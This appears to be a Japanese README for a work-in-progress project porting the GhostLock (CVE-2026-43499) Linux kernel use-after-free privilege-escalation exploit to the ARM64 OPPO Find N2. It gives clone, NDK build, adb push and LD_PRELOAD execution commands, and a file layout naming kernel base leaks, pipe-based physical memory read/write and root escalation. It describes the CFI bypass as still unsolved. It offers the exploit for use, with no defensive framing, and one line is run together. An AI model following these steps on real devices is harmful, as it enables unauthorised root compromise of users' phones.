
OPPO Find N2 GhostLock(CVE-2026-43499)エクスプロイト適応版
GhostLock CVE-2026-43499 — OPPO Find N2 Linux カーネル権限昇格研究
GhostLock (CVE-2026-43499) は、Linux 2.6.39 から 7.1-rc1 に影響するカーネルスタック UAF 脆弱性であり、FUTEX_CMP_REQUEUE_PI 競合状態によってトリガーされます。本プロジェクトは、NebuSec/CyberMeowfia の x86_64 exploit を OPPO Find N2 (ARM64, kernel 5.10.236) に移植したものです。
イテレーション中 — 複数の攻撃フェーズは検証済みですが、核心的なブロッキングポイント(CFI bypass / カーネル書き込みプリミティブ)はまだ突破されていません。
FUTEX_CMP_REQUEUE_PI ret=0git clone https://github.com/pubglite55/oppofindN2-ghostlock.git
cd oppofindN2-ghostlock
export NDK=/usr/local/Caskroom/android-ndk/29/AndroidNDK14206865.app/Contents/NDK
cd exploit/
make clean && make NDK=$NDK
adb push preload.so /data/local/tmp/
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/ls /dev/null' 2>&1
oppofindN2-ghostlock/
├── exploit/
│ ├── src/
│ │ ├── main.c # メインエントリ、GhostLock トリガー
│ │ ├── fops.c # pselect fake lock + kernel base leak
│ │ ├── pipe.c # pipe 物理読み書き
│ │ ├── root.c # root 権限昇格
│ │ ├── util.c # ユーティリティ関数
│ │ └── kernelsnitch/ # mm_struct リーク
│ ├── targets/ # デバイスオフセット定義
│ └── Makefile
└── README.md
本プロジェクトは MIT ライセンス を採用しています。